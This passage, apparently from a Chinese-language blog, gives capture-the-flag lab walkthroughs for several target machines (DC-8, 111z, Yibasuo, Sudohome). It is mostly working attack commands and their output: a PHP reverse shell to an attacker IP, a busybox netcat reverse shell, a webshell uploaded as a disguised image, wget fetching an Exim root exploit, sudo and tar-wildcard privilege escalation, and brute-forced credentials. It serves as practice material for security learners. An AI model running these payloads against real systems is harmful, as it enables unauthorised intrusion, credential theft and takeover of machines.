$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku\/3if\/oRVZJaz5mKC2vF<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">\u63d0\u793a\u4f7f\u7528john\u7206\u7834\u5bc6\u7801<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">\u51fa\u6765<br>john<br>turtle<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">dirsearch\u626b\u4e00\u4e0b\u76ee\u5f55\uff1a\/robots.txt \/user\/login \u767b\u5f55\u4e00\u4e0bjohn\/turtle<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">\u6210\u529f\u767b\u5f55\uff0c\uff0c\u7136\u540e\u6bcf\u4e2a\u5730\u65b9\u70b9\u70b9-&gt;\u5728\u7f51\u7ad9 Contact Us \u91cc\u9762\u53d1\u73b0\u4e00\u4e2a\u9875\u9762 Web Form -&gt; Form settings<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">\u53d1\u73b0PHP code \u5199\u5165\u53cd\u5f39shell<br>&lt;p&gt;wea5e1&lt;\/p&gt;<br>&lt;?php<br>system(\"bash -c 'bash -i &gt;&amp; \/dev\/tcp\/192.168.3.236\/4444 0&gt;&amp;1'\");<br>?&gt;<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">nc \u76d1\u542c<br>nc -lvvp 4444<br>192.168.3.1: inverse host lookup failed: Host name lookup failure<br>connect to [192.168.3.236] from (UNKNOWN) [192.168.3.1] 37894<br>bash: cannot set terminal process group (372): Inappropriate ioctl for device<br>bash: no job control in this shell<br>www-data@dc-8:\/var\/www\/html$<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">\u67e5\u770b\u4e00\u4e0b\u6743\u9650<br>find \/ -perm \/4000 -type&nbsp;f -exec&nbsp;ls -ld {} \\; 2&gt;\/dev\/null<br>\u53d1\u73b0 \/usr\/sbin\/exim4<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">\/usr\/sbin\/exim4 --version<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">searchsploit exim<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">4.87-4.91 Exim 4.87 - 4.91 - Local Privilege Escalation           | linux\/local\/46996.sh<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">\u8bb0\u5f97\uff1a\u5148\u5728\u90a3\u4e2a\u7f51\u7ad9cd \/tmp<br>searchsploit -m linux\/local\/46996.sh<br>wget http:\/\/192.168.3.236:4444\/46996.sh<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">www-data@dc-8:\/tmp$ wget http:\/\/192.168.3.236:8000\/46996.sh<br>wget http:\/\/192.168.3.236:8000\/46996.sh<br>--2025-11-19 22:54:49--  http:\/\/192.168.3.236:8000\/46996.sh<br>Connecting to 192.168.3.236:8000... connected.<br>HTTP request sent, awaiting response... 200 OK<br>Length: 3552 (3.5K) [text\/x-sh]<br>Saving to: '46996.sh'<br><br>46996.sh            100%[===================&gt;]   3.47K  --.-KB\/s    in 0.001s  <br><br>2025-11-19 22:54:49 (2.68 MB\/s) - '46996.sh' saved [3552\/3552]<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">chmod +x 46996.sh<br>.\/46996.sh -m netcat<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">Waiting 5 seconds...<br>localhost [127.0.0.1] 31337 (?) open<br>id<br>id<br>uid=0(root) gid=113(Debian-exim) groups=113(Debian-exim) \u62ff\u4e0broot<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">111z<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">user<\/h3>\n\n\n\n<p>\u6253\u5f00\u9776\u673a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">sudo arp-scan -I eth1 192.168.3.0\/24 \/\/\u53d1\u73b0192.128.3.128\u4e3b\u673a<br>nmap -p- -sT 192.168.3.128<br>.\/fscan -h 192.168.3.128 \/\/\u53ea\u53d1\u73b022\u7aef\u53e3\u548c80\u7aef\u53e3<br>dirsearch 192.168.3.128 (\u4e09\u4ef6\u5957) \u53d1\u73b0uploads<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">curl 192.128.3.128<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">\u8bbf\u95ee\u7f51\u7ad9\uff0c\u53d1\u73b0\u662f\u5173\u4e8e\u6587\u4ef6\u4e0a\u4f20\u7684\u9776\u673a \u6d4b\u8bd5\u53d1\u73b0\u6709\u5f88\u591a\u7684\u51fd\u6570\u88abban\uff0c\u4f8b\u5982eval system ; \u4ec0\u4e48\u7684<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">\u4e0d\u8fc7\u7531\u4e8ephp\u5f88\u591a\u7279\u6027\uff0c\u4f8b\u5982php\u5141\u8bb8\u4f7f\u7528 ?&gt; \u76f4\u63a5\u6700\u540e\u4e00\u4e2aphp\u8bed\u53e5\u4e0d\u4f7f\u7528\u5206\u53f7\u7ed3\u675f\uff0c\u5e76\u4e14\u662f\u4e0d\u533a\u5206\u5927\u5c0f\u5199\u7684<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">\u65b9\u6848\u4e00<\/h4>\n\n\n\n<pre class=\"wp-block-preformatted\">&lt;?php evAl($_POST[1])?&gt; \/\/<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">POST \/upload.php HTTP\/1.1<br>Host: 192.168.3.128<br>Content-Length: 599<br>User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/140.0.0.0 Safari\/537.36<br>Content-Type: multipart\/form-data; boundary=----WebKitFormBoundarys8mDFzHGXbyy6bNh<br>Accept: *\/*<br>Origin: http:\/\/192.168.3.128<br>Referer: http:\/\/192.168.3.128\/<br>Accept-Encoding: gzip, deflate, br<br>Accept-Language: zh-CN,zh;q=0.9<br>Connection: keep-alive<br>\u200b<br>------WebKitFormBoundarys8mDFzHGXbyy6bNh<br>Content-Disposition: form-data; name=\"file\"; filename=\"3.php\"<br>Content-Type: image\/png<br>\u200b<br>&lt;?php evAl($_POST[1])?&gt; <\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">{\"success\":true,\"error\":null,\"filepath\":\"691ef2afe8042.php\"}<\/pre>\n\n\n\n<p>\u7136\u540e\u53d1\u73b0\u4f60\u662f\u6267\u884c\u4e0d\u4e86\u7684\uff0c\u4e0d\u8fc7\u547d\u4ee4\u6267\u884c\u51fd\u6570\u88ab\u7981\u7528\u4e0d\u5f71\u54cd\u6587\u4ef6\u8bfb\u53d6\u4ee5\u53ca\u76ee\u5f55\u626b\u63cf\u7b49\u529f\u80fd\uff0c\u4f7f\u7528\u8681\u5251\u76f4\u63a5\u4f9d\u6b21\u67e5\u770b\u76ee\u5f55\u53ca\u6587\u4ef6\u5185\u5bb9\uff0c\u53ef\u4ee5\u53d1\u73b0 llpass.txt \u91cc\u5b58\u653e\u7684ll\u7528\u6237 ssh \u5bc6\u7801<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\u65b9\u6848\u4e8c<\/h4>\n\n\n\n<p>\u65e2\u7136\u4e0d\u80fd\u6267\u884c\u547d\u4ee4\uff0c\u90a3\u5c31\u4ec5\u9760webshell\u626b\u63cf\u6307\u5b9a\u76ee\u5f55\u3001\u8bfb\u53d6\u654f\u611f\u6587\u4ef6\uff0c\u6536\u96c6\u4fe1\u606f\u3002<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">&lt;?php $dir=$_GET[1]?&gt;<br>&lt;?php $file=$_GET[2]?&gt;<br>&lt;?php echo '&lt;pre&gt;'?&gt;<br>&lt;?php print_r(scandir($dir))?&gt;<br>&lt;?php echo '&lt;\/pre&gt;'?&gt;<br>&lt;?php highlight_file($file)?&gt;<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">Array<br>(<br> &nbsp;  [0] =&gt; .<br> &nbsp;  [1] =&gt; ..<br> &nbsp;  [2] =&gt; bin<br> &nbsp;  [3] =&gt; boot<br> &nbsp;  [4] =&gt; dev<br> &nbsp;  [5] =&gt; etc<br> &nbsp;  [6] =&gt; home<br> &nbsp;  [7] =&gt; initrd.img<br> &nbsp;  [8] =&gt; initrd.img.old<br> &nbsp;  [9] =&gt; lib<br> &nbsp;  [10] =&gt; lib32<br> &nbsp;  [11] =&gt; lib64<br> &nbsp;  [12] =&gt; libx32<br> &nbsp;  [13] =&gt; lost+found<br> &nbsp;  [14] =&gt; media<br> &nbsp;  [15] =&gt; mnt<br> &nbsp;  [16] =&gt; opt<br> &nbsp;  [17] =&gt; proc<br> &nbsp;  [18] =&gt; root<br> &nbsp;  [19] =&gt; run<br> &nbsp;  [20] =&gt; sbin<br> &nbsp;  [21] =&gt; srv<br> &nbsp;  [22] =&gt; sys<br> &nbsp;  [23] =&gt; tmp<br> &nbsp;  [24] =&gt; usr<br> &nbsp;  [25] =&gt; var<br> &nbsp;  [26] =&gt; vmlinuz<br> &nbsp;  [27] =&gt; vmlinuz.old<br>)<br>root:x:0:0:root:\/root:\/bin\/bash<br>daemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin<br>bin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin<br>sys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin<br>sync:x:4:65534:sync:\/bin:\/bin\/sync<br>games:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin<br>man:x:6:12:man:\/var\/cache\/man:\/usr\/sbin\/nologin<br>lp:x:7:7:lp:\/var\/spool\/lpd:\/usr\/sbin\/nologin<br>mail:x:8:8:mail:\/var\/mail:\/usr\/sbin\/nologin<br>news:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/nologin<br>uucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin<br>proxy:x:13:13:proxy:\/bin:\/usr\/sbin\/nologin<br>www-data:x:33:33:www-data:\/var\/www:\/usr\/sbin\/nologin<br>backup:x:34:34:backup:\/var\/backups:\/usr\/sbin\/nologin<br>list:x:38:38:Mailing List Manager:\/var\/list:\/usr\/sbin\/nologin<br>irc:x:39:39:ircd:\/var\/run\/ircd:\/usr\/sbin\/nologin<br>gnats:x:41:41:Gnats Bug-Reporting System (admin):\/var\/lib\/gnats:\/usr\/sbin\/nologin<br>nobody:x:65534:65534:nobody:\/nonexistent:\/usr\/sbin\/nologin<br>_apt:x:100:65534::\/nonexistent:\/usr\/sbin\/nologin<br>systemd-timesync:x:101:102:systemd Time Synchronization,,,:\/run\/systemd:\/usr\/sbin\/nologin<br>systemd-network:x:102:103:systemd Network Management,,,:\/run\/systemd:\/usr\/sbin\/nologin<br>systemd-resolve:x:103:104:systemd Resolver,,,:\/run\/systemd:\/usr\/sbin\/nologin<br>systemd-coredump:x:999:999:systemd Core Dumper:\/:\/usr\/sbin\/nologin<br>messagebus:x:104:110::\/nonexistent:\/usr\/sbin\/nologin<br>sshd:x:105:65534::\/run\/sshd:\/usr\/sbin\/nologin<br>ll:x:1000:1000::\/home\/ll:\/bin\/bash<br>mj:x:1001:1001::\/home\/mj:\/bin\/bash<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">?1=\/&amp;2=\/etc\/passwd<\/pre>\n\n\n\n<p>\u626b\u63cf\u76ee\u5f55<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">?1=\/opt&amp;2=\/opt\/ll*<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">Array<br>(<br> &nbsp;  [0] =&gt; .<br> &nbsp;  [1] =&gt; ..<br> &nbsp;  [2] =&gt; backup<br> &nbsp;  [3] =&gt; llpass.txt<br>)<br>ll:Bp2tFMYfElkoMWlOUsOD1C30<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">\u65b9\u6848\u4e09<\/h4>\n\n\n\n<p>\u8fd8\u662f\u4e0a\u9762\u7684\u90a3\u4e2a\u53d1\u73b0\u6267\u884c\u4e0d\u4e86\u547d\u4ee4\uff0c\u8bd5\u8bd5phpinfo();\uff0c\u53d1\u73b0\u56de\u663e<\/p>\n\n\n\n<p><strong>disable_functions<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">    pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,system<\/pre>\n\n\n\n<p>\u56e0\u4e3aphp\u914d\u7f6e\u6587\u4ef6\u7981\u7528\u4e86\u51e0\u4e4e\u6240\u6709\u547d\u4ee4\u6267\u884c\u51fd\u6570\uff0c\u5982\u679c \/tmp \u76ee\u5f55\u53ef\u5199\uff0c\u5e76\u4e14 putenv \u3001mail\u3001error_log<\/p>\n\n\n\n<p>\u51fd\u6570\u53ef\u7528\uff0c\u53ef\u4ee5\u5728 \/tmp \u4e0a\u4f20\u6076\u610f\u52a8\u6001\u94fe\u63a5\u5e93\u6587\u4ef6\uff0c\u5229\u7528 putenv \u51fd\u6570\u8bbe\u7f6e\u73af\u5883\u53d8\u91cf\uff0c\u518d\u901a\u8fc7 mail \u6216<\/p>\n\n\n\n<p>error_log \u51fd\u6570\u5f00\u542f\u4e00\u4e2a\u5b50\u8fdb\u7a0b\u52a0\u8f7d\u6076\u610f\u52a8\u6001\u94fe\u63a5\u5e93\uff0c\u4ece\u800c\u5b9e\u73b0\u4ee3\u7801\u6267\u884c\u3002<\/p>\n\n\n\n<p>\u53ef\u4ee5\u76f4\u63a5\u5229\u7528 \u4e2d\u56fd\u8681\u5251 \u7684\u63d2\u4ef6\u6765\u5b9e\u73b0\u7ed5\u8fc7 disable_functions \u8f85\u52a9\u5de5\u5177=&gt;\u7ed5\u8fc7 disable functions-192.168.3.128\u7136\u540e\u5728\u4f20\u5c0f\u9a6c<\/p>\n\n\n\n<p>\u7136\u540e\u5c31\u548c\u4e4b\u524d\u7684\u4e00\u6837\uff0c\u67e5\u5bc6\u7801<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u63d0\u6743<\/h3>\n\n\n\n<p>sudo\u63d0\u6743\u53d1\u73b0\u53ef\u4ee5\u4ee5\u65e0\u5bc6\u7801\u7684\u65b9\u5f0f\u4f7f\u7528mj\u7528\u6237\u4e0b\u9762\u7684neofetch\u547d\u4ee4<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">ll@111z:\/home$ sudo -l<br>Matching Defaults entries for ll on 111z:<br> &nbsp;  env_reset, mail_badpass,<br> &nbsp;  secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin<br>\u200b<br>User ll may run the following commands on 111z:<br> &nbsp;  (mj) NOPASSWD: \/usr\/bin\/neofetch<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">https:\/\/gtfobins.github.io\/gtfobins\/neofetch\/#shell<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">ll@111z:\/home$ echo 'exec bash' &gt; \/tmp\/config.txt<br>ll@111z:\/home$ sudo -u mj \/usr\/bin\/neofetch --config \/tmp\/config.txt<br>mj@111z:\/home$ ls<br>ll  mj<br>mj@111z:\/home$ cd .\/mj<br>mj@111z:~$ ls<br>user.txt<br>mj@111z:~$ cat u*<br>flag{user-5450dba90b514d69935be5eafbfd0077}<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">mj@111z:~$ sudo -l<br>Matching Defaults entries for mj on 111z:<br> &nbsp;  env_reset, mail_badpass,<br> &nbsp;  secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin<br>\u200b<br>User mj may run the following commands on 111z:<br> &nbsp;  (root) NOPASSWD: \/opt\/backup\/backup.sh<br>mj@111z:~$ cat \/opt\/backup\/backup.sh<br>#!\/bin\/bash<br># \u7f51\u7ad9\u4e0a\u4f20\u6587\u4ef6\u5907\u4efd\u811a\u672c<br>\u200b<br>cd \/var\/www\/html\/uploads<br>tar czf \/tmp\/backup.tar.gz *<br>echo \"Backup completed\"<\/pre>\n\n\n\n<p>\u53d1\u73b0\u8fd9\u4e2ash\u6587\u4ef6\u4f7f\u7528\u901a\u914d*<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">https:\/\/www.freebuf.com\/articles\/system\/176255<\/pre>\n\n\n\n<p>\u7136\u540e\u5c31\u76f4\u63a5<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">cd \/var\/www\/html\/uploads<br>mj@111z:\/var\/www\/html\/uploads$ echo '' &gt; '--checkpoint-action=exec=sh shell.sh'<br>mj@111z:\/var\/www\/html\/uploads$ echo '' &gt; '--checkpoint=1'<br>mj@111z:\/var\/www\/html\/uploads$ echo -e '#!\/bin\/bash\\ncp \/bin\/bash \/var\/www\/html\/uploads\/bash\\nchmod u+s<br>&gt; \/var\/www\/html\/uploads\/bash' &gt; shell.sh<br>mj@111z:\/var\/www\/html\/uploads$ sudo \/opt\/backup\/backup.sh<br>cp: cannot create regular file '\/var\/www\/html\/uploads\/bash': Text file busy<br>chmod: missing operand after 'u+s'<br>Try 'chmod --help' for more information.<br>root@111z:\/var\/www\/html\/uploads# id<br>uid=0(root) gid=0(root) groups=0(root)<br>\u62ff\u4e0broot\u4e86<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">yibasuo<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">user<\/h3>\n\n\n\n<p>\u6253\u5f00\u9776\u673a\uff0c\u7136\u540e\u8fdb\u884c\u4fe1\u606f\u641c\u96c6<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">sudo arp-scan -I eth0 192.168.3.0\/24<\/pre>\n\n\n\n<p>\u53d1\u73b0\u9776\u673a\u5730\u5740 \uff1a<\/p>\n\n\n\n<p>192.168.3.248<\/p>\n\n\n\n<p>fscan\u626b\u4e00\u4e0b192.168.3.248<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">fscan.exe -h 192.168.3.248\/windows  .\/fscan -h 192.168.3.248 \/linux<\/pre>\n\n\n\n<p>nmap \u626b\u4e00\u4e0b<\/p>\n\n\n\n<p>\u53d1\u73b021(ftp) 22(ssh) 80(http)\u7aef\u53e3\uff0c\u4f7f\u7528<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">ftp 192.168.3.248 21 \u8fde\u63a5<\/pre>\n\n\n\n<p>\u56e0\u4e3a\u5728\u626b\u63cf\u7684\u8fc7\u7a0b\u91cc\u9762\u662f\u533f\u540d\u767b\u5f55\uff0c\u4f7f\u7528name\u4e3aanonymous \u5bc6\u7801\u4e3a\u7a7a\uff0c\u76f4\u63a5\u6572\u56de\u8f66<\/p>\n\n\n\n<p>\u4e0b\u8f7d\u5230\u672c\u5730<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">get creds.txt<\/pre>\n\n\n\n<p>\u7136\u540ecat\u4e00\u4e0b\u53d1\u73b0\u662f\u9519\u7684\uff0c\u7136\u540e\u53d1\u73b0\u8fd9\u91cc\u6709\u4e2a\u4fe1\u606f<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">220 (vsFTPd 2.3.4)<\/pre>\n\n\n\n<p>\u641c\u7d22\u4e00\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">https:\/\/blog.csdn.net\/m0_62670778\/article\/details\/138683346<\/pre>\n\n\n\n<p>\u4e0d\u8fc7\u4f7f\u7528\u5de5\u5177\u65e0\u6cd5<\/p>\n\n\n\n<p>\u5230\u8fbe\u3002<\/p>\n\n\n\n<p>\u7136\u540e<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">ftp 192.168.3.248 21<br>name:anonymous:)<br>pass:\u76f4\u63a5\u56de\u8f66<br>\u53d1\u73b0\u662f\u4e0d\u884c\u7684<\/pre>\n\n\n\n<p>\u7136\u540e\u5c31\u67e5\u770b80\u7aef\u53e3\uff0c\u53d1\u73b0\u662f\u767b\u5f55\u9875\u9762\uff0c\u76f4\u63a5\u7206\u7834 admin\/password123<\/p>\n\n\n\n<p>\u767b\u5f55\u8fdb\u53bb\uff0c\u53d1\u73b0\u5b58\u5728\u8fdb\u884c\u8f93\u5165\u547d\u4ee4\u7684\u5730\u65b9\uff0c\u4e0d\u8fc7\u6709\u7684\u662f\u5b58\u5728\u4e0d\u6388\u6743\u7684<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">ls \/usr\/bin<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">ls \/usr\/bin &gt; file.txt<\/pre>\n\n\n\n<p>\u7206\u7834\u53d1\u73b0bosybox\u6709\u6743\u9650<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\u76f4\u63a5\u8f93\u5165\u547d\u4ee4 \u8fdb\u884c\u53cd\u5f39shell<br>busybox nc 192.168.3.236 8888 -e \/bin\/bash<\/pre>\n\n\n\n<p>\u53cd\u5f39\u6210\u529f<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\/usr\/bin\/script -qc \/bin\/bash \/dev\/null \u7a33\u5b9ashell<\/pre>\n\n\n\n<p>\u7136\u540e\u5c31\u662f<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">www-data@Yibasuo:\/var\/www\/html\/secure$ cd \/home<br>cd \/home<br>www-data@Yibasuo:\/home$ ls<br>ls<br>ftp  todd<br>www-data@Yibasuo:\/home$ cd .\/tod<br>cd .\/tod<br>bash: cd: .\/tod: No such file or directory<br>www-data@Yibasuo:\/home$ cd .\/todd<br>cd .\/todd<br>www-data@Yibasuo:\/home\/todd$ cat u*<br>cat u*<br>flag{user-43109792-4b81-11f0-a435-9731ae49dbea}<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">root<\/h3>\n\n\n\n<p>\u5728\u4e4b\u524d\u8bf4\u8fc7\u6709\u4e2a\u6f0f\u6d1e\u6ca1\u6709\u6253\uff0c\u4f46\u662f\u90a3\u4e2a\u6f0f\u6d1e\u662f\u6253\u8fdb\u53bb\uff0c\u4e0d\u8fc7\u6ca1\u6709\u6743\u9650\u53bb\u5229\u7528\uff0c\u7136\u540e\u8fdb\u5165\u5185\u90e8\u4e86\uff0css -lntup\u4e00\u4e0b\u53d1\u73b06200\u7aef\u53e3\u5f00\u653e\uff0c<\/p>\n\n\n\n<p>6200\u7aef\u53e3\u662f\u5199\u5165\u4e1c\u897f\u4e86\uff0c\u76f4\u63a5\u76d1\u542c\u53cd\u5f39shell\uff0c\u62ff\u4e0broot<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">www-data@Yibasuo:\/var\/www\/html\/secure$ ss -lntup<br>ss -lntup<br>Netid   State    Recv-Q   Send-Q     Local Address:Port     Peer Address:Port   <br>udp     UNCONN   0        0                0.0.0.0:68            0.0.0.0:*      <br>tcp     LISTEN   0        32               0.0.0.0:21            0.0.0.0:*      <br>tcp     LISTEN   0        128              0.0.0.0:22            0.0.0.0:*      <br>tcp     LISTEN   0        100              0.0.0.0:6200          0.0.0.0:*      <br>tcp     LISTEN   0        128                    *:80                  *:*      <br>tcp     LISTEN   0        128                 [::]:22               [::]:*      <br>www-data@Yibasuo:\/var\/www\/html\/secure$ busybox nc 127.0.0.1 6200<br>busybox nc 127.0.0.1 6200<br>ls<br>ls<br>bin<br>boot<br>dev<br>etc<br>home<br>initrd.img<br>initrd.img.old<br>lib<br>lib32<br>lib64<br>libx32<br>lost+found<br>media<br>mnt<br>opt<br>proc<br>root<br>run<br>sbin<br>srv<br>sys<br>tmp<br>usr<br>var<br>vmlinuz<br>vmlinuz.old<br>cd \/root  <br>cd \/root<br>ls<br>ls<br>root.txt<br>cat root.txt<br>cat root.txt<br>flag{root-15d4d3ec-4b81-11f0-9da9-b378f7bb3e40} <\/pre>\n\n\n\n<p>\u7b2c\u4e00\u6b21\u5728\u8fd8\u662f\u9776\u673a\u671f\u95f4\u62ff\u4e0broot\uff0c\u723d\ud83d\ude01\ud83d\ude01\ud83d\ude01<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/101.201.119.158\/wp-content\/uploads\/2025\/11\/7832831b3d463b48c8c08bc39a53e0a0.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"404\" height=\"279\" data-original=\"http:\/\/101.201.119.158\/wp-content\/uploads\/2025\/11\/7832831b3d463b48c8c08bc39a53e0a0.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-196\"  sizes=\"auto, (max-width: 404px) 100vw, 404px\" \/><\/div><\/figure>\n\n\n\n<p>\uff1f\uff1f\uff1f<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Sudohome<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">user1<\/h3>\n\n\n\n<p>\u6253\u5f00\u9776\u673a\uff0c\u626b\u63cf\u51fa\u676580\u7aef\u53e3\u548c21\u4ee5\u53ca25\u7aef\u53e3<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\u2514\u2500# nmap  192.168.3.142 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br>Starting Nmap 7.94SVN ( https:\/\/nmap.org ) at 2025-11-24 19:30 CST<br>Nmap scan report for 192.168.3.142<br>Host is up (0.0011s latency).<br>Not shown: 997 closed tcp ports (reset)<br>PORT &nbsp; STATE SERVICE<br>22\/tcp open  ssh<br>25\/tcp open  smtp<br>80\/tcp open  http<br>MAC Address: 08:00:<\/pre>\n\n\n\n<p>\u770b\u770b25\u7aef\u53e3\uff0c\u53d1\u73b0\u6ca1\u4ec0\u4e48\u4f5c\u7528\uff0c\u5c31\u67e5\u770b\u4e00\u4e0b80\u7aef\u53e3<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">curl 192.168.3.142<br>&lt;--try ssh--&gt;<\/pre>\n\n\n\n<p>\u90a3\u5c31\u8fdc\u7a0b\u8fde\u63a5\u770b\u770b<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">ssh ll@192.168.3.142<br>user1:0woA8Sr7I83R0ZwmnTcH<br>\u53d1\u73b0\u7206\u7528\u6237\u548c\u5bc6\u7801\u4e86<\/pre>\n\n\n\n<p>\u76f4\u63a5\u8fdc\u7a0b\u8fde\u63a5<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">user1@SudoHome:~$ ls<br>password.txt<br>user1@SudoHome:~$ sudo -l<br>Matching Defaults entries for user1 on SudoHome:<br> &nbsp;  env_reset, mail_badpass,<br> &nbsp;  secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin<br>\u200b<br>User user1 may run the following commands on SudoHome:<br> &nbsp;  (user2) NOPASSWD: \/usr\/bin\/du<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">user2<\/h3>\n\n\n\n<p>\u53d1\u73b0\u53ef\u4ee5\u65e0\u5bc6\u7801\u6267\u884cuser2\u7684du\u547d\u4ee4<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">user1@SudoHome:~$ sudo -u user2 \/usr\/bin\/du --help<br>Usage: \/usr\/bin\/du [OPTION]... [FILE]...<br>  or:  \/usr\/bin\/du [OPTION]... --files0-from=F<br>Summarize disk usage of the set of FILEs, recursively for directories.<br>\u200b<br>Mandatory arguments to long options are mandatory for short options too.<br>  -0, --null &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  end each output line with NUL, not newline<br>  -a, --all &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; write counts for all files, not just directories<br> &nbsp; &nbsp;  --apparent-size &nbsp; print apparent sizes, rather than disk usage; although<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  the apparent size is usually smaller, it may be<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  larger due to holes in ('sparse') files, internal<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  fragmentation, indirect blocks, and the like<br>  -B, --block-size=SIZE  scale sizes by SIZE before printing them; e.g.,<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; '-BM' prints sizes in units of 1,048,576 bytes;<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; see SIZE format below<br>  